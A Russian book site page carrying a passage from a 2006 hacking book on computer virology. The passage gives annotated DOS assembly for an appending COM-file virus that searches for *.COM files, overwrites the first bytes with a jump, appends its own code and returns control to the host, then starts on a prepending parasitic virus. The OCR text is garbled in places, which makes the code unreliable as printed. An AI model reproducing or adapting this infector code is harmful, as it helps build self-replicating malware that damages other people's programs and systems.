Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 27 28 29 30 31 32 < 33 > 34 35 36 37 38 39 .. 123 >> Следующая

а размещаем имя в DTA. Это сделано по следующей причине: когда мы ищем
файл для инфицирования, вся необходимая для нас информация возвращается в
эту область памяти. Данный буфер (если он был переустановлен) находится в
PSP - точнее, он начинается в офсете 80Ь и занимает 43 байта.
Далее, мы даем dx локацию в памяти, где хранится имя файла: "MOV DX,
Elh". Здесь нужно помнить, что DTA стартуется в офсете 80h - то есть мы
передаем dx значение "S0h+lEh " 9Eh". Оставляем "MOV DX* 9Eh", ц проблема
решена.
109
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Читаем первые 3 байта:
pop bx ;берем дескриптор из стека в Ьх
push bx ;и снова сохраняем его там
mov ah, 3fh .читаем файл mov сх, 0003h .читаем 3 байта lea dx, bp+buffer
;и сохраняем их в буфере int 21 h
INFECTAR:
Перемещаем указатель на начало:
mov ах, 4200h перемещаем указатель ;записи на начало программы mov сх,
OOOOh mov dx, OOOOh int 21 h
Перестановка (displacement) указателя относительно позиции указателя,
определенной в AL, помещается в сх и dx. Режимы перестановки указателя
устанавливаются в AL
AL <-= 00 перемещает указатель в начало файла;
AL <- 01 оставляет указатель там, где он был;
AL <=" 02 перемещает указатель в конец файла.
Записываем первый байт (jmp):
mov ah, 40h '.записываем первый байт
mov сх, 1d ;количество (Quantity) = 1
lea dx,bp+jump ;dx<- офсетJUMP
int 21 h
Здесь нам по-прежнему нужен дескриптор, но мы не устанавливаем его еще
раз, потому что регистр, который содержит информацию, не был
модифицирован. Первым записанным байтом
110
ГЛАВА 3. Сложные СОМ-инфекторы
будет инструкция прыжка. Так как код вируса копируется в конец файла,
прыжок передает вирусу контроль над выполнением зараженного файла.
Рассчитываем длину файла:
mov сх, 2 копируем 2 байта
mov si, 009ah ;SI<== офсет DTA
lea di, bp+longitud ;DI<== офсет длины файла
rep movsb ;копируем
Эта инструкция должна иметь адрес буфера "источника" в ds:si и адрес
локации копируемой строки в es:di (в нашем случае мы копируем длину файла
из DTA в переменную 'LONGITUD'). *
sub word ptr [bp+longitud], 3 ;вычитаем 3 байта из [LONGITUD]
Прыжок выполнен:
mov ah, 40h ;записываем
mov сх, 2d ;число байтов
lea dx, bp+longitud ;DX<== офсет LONGITUD (длины)
int 21h
Перемещаем указатель файла в конец:
mov ах, 4202h перемещаем указатель записи в ; конец программы
mov сх, OOOOh
mov dx, OOOOh
int 21 h
add word ptr [bp+longitud] ,3 восстанавливаем LONGITUD.
Копируем вирус в программу:
111
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
pop bx восстанавливаем дескриптор mov ah, 40h
mov cx, 190d;количество байтов для копирования lea dx, bp+comienzo
;начинаем копирование из.... int 21 h
Закрываем файл после инфекции:
mov ah, 3eh ;закрываем файл int 21 h
Здесь в ds:dx нам нужен адрес буфера, который содержит строку имени файла
(в нашем случае ds и dx уже содержат эти значения).
NOJNFECTAR:
Возвращаем контроль жертве. Копируем буфер, который содержит первые 3
байта файла в памяти.
mov сх, 0003h .Число байтов (3) mov di,0100h ;DI<= офсет 100h-начало
программы в памяти lea si, bp+buffer ;SI<== офсет BUFFER offset rep movsb
;копируем
Здесь мы "чиним" файл, так как при инфекции первые его несколько байтов
были переписаны вирусом. Мы восстанавливаем файл до его первоначального
состояния, копируя 3 первых байта, сохраненные ранее в памяти.
Прыгаем в офсет 100h:
112
ГЛАВА 3. Сложные СОМ-инфекторы
mcrv ax,0100h ;Адрес, нужный нам для выполнения жертвы jmp ах
Как уже не раз говорилось, в СОМ-файлах исполнительный код начинается в
офсете 100h. Информация, расположенная между 00h и 100h, является такими
программными данными, как, например, DTA. Основным отличием COM-файла от
ЕХЕ-файла является то, что первый занимает только один сегмент памяти или
65535 байтов. COM-файлы представляют собой точные образы содержания
памяти.
Область данных:
buffer db 7d dup(O)
longitud db 2 dup(0)
filejnf db '*.COM',0
jump db 'e',0 ;<-ascii прыжка
;(Символ 'O' является концом ASCIlZ-строки)
start endp ; конец основной процедуры
codigo ends ;конец сегмента кода
end comienzo ;конец. Перейти к COMIENZO
2. Паразитический вирус, который крепится к началу жертвы
Теперь пришла пора д ля анализа вируса, который вставляется в начало COM-
файла. По сути дела, этот "зверь" перемещает программу-жертву и
становится как бы перед ней. Но сначала он выполняет несколько
предварительных операций, гарантируя тем самым, что ни одна строка кода
не была испорчена при инфицировании программы.
Для надежной и правильной работы наш вирус Example (пример) должен
обладать достаточным количеством памяти. Он должен прочитать программу и
переписать ее в тот же файл, но с другим офсетом. Мы знаем, что COM-файлы
ограничены 64
113
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
килобайтами, поэтому в памяти компьютера для нас должен быть доступен 64-
килобайтный буфер. Если это условие не выполняется, вирус остается в
латентном состоянии.
Таким образом, нам понадобится подпрограмма СНЕСК_МЕМ, которая будет
Предыдущая << 1 .. 27 28 29 30 31 32 < 33 > 34 35 36 37 38 39 .. 123 >> Следующая